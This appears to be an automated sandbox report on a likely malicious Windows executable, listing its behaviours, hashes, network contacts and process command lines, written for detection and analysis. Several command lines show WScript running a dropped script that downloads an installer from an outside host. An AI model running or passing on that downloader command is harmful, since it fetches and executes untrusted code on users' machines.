Analysis Overview
SHA256
80826d2b67e58649ceeefee8592e4659e5687f79c5fa14a2e6e1330ce28b1b5e
Threat Level: Likely malicious
The file a6d7e3d5186acdb272985995c2867619_JaffaCakes118 was found to be: Likely malicious.
Malicious Activity Summary
Blocklisted process makes network request
Checks computer location settings
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
Unsigned PE
Modifies registry class
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-13 22:17
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-13 22:17
Reported
2024-06-13 22:20
Platform
win10v2004-20240611-en
Max time kernel
94s
Max time network
96s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe | N/A |
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\Local Settings | C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe"
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CF9.js" http://www.djapp.info/?domain=dczHEjYMkA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3CF9.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CF9.js" http://www.djapp.info/?domain=dczHEjYMkA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3CF9.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CF9.js" http://www.djapp.info/?domain=dczHEjYMkA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3CF9.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CF9.js" http://www.djapp.info/?domain=dczHEjYMkA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3CF9.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CF9.js" http://www.djapp.info/?domain=dczHEjYMkA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3CF9.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | bi.downthat.com | udp |
| US | 34.205.242.146:80 | bi.downthat.com | tcp |
| US | 8.8.8.8:53 | www.hugedomains.com | udp |
| US | 8.8.8.8:53 | 146.242.205.34.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 17.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| NL | 23.62.61.194:443 | www.bing.com | tcp |
| NL | 23.62.61.194:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | 194.61.62.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 34.205.242.146:80 | bi.downthat.com | tcp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 34.205.242.146:80 | bi.downthat.com | tcp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 34.205.242.146:80 | bi.downthat.com | tcp |
| US | 172.67.70.191:443 | www.hugedomains.com | tcp |
| US | 8.8.8.8:53 | 32.251.17.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 34.205.242.146:80 | bi.downthat.com | tcp |
| US | 172.67.70.191:443 | www.hugedomains.com | tcp |
| US | 8.8.8.8:53 | 98.251.17.2.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\fuf3CF9.js
| MD5 | 3813cab188d1de6f92f8b82c2059991b |
| SHA1 | 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb |
| SHA256 | a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e |
| SHA512 | 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76 |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-13 22:17
Reported
2024-06-13 22:20
Platform
win7-20240508-en
Max time kernel
144s
Max time network
144s
Command Line
Signatures
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a6d7e3d5186acdb272985995c2867619_JaffaCakes118.exe"
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf189F.js" http://www.djapp.info/?domain=dczHEjYMkA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf189F.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf189F.js" http://www.djapp.info/?domain=dczHEjYMkA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf189F.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf189F.js" http://www.djapp.info/?domain=dczHEjYMkA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf189F.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | bi.downthat.com | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | bi.downthat.com | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | bi.downthat.com | udp |
Files
C:\Users\Admin\AppData\Local\Temp\fuf189F.js
| MD5 | 3813cab188d1de6f92f8b82c2059991b |
| SHA1 | 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb |
| SHA256 | a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e |
| SHA512 | 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76 |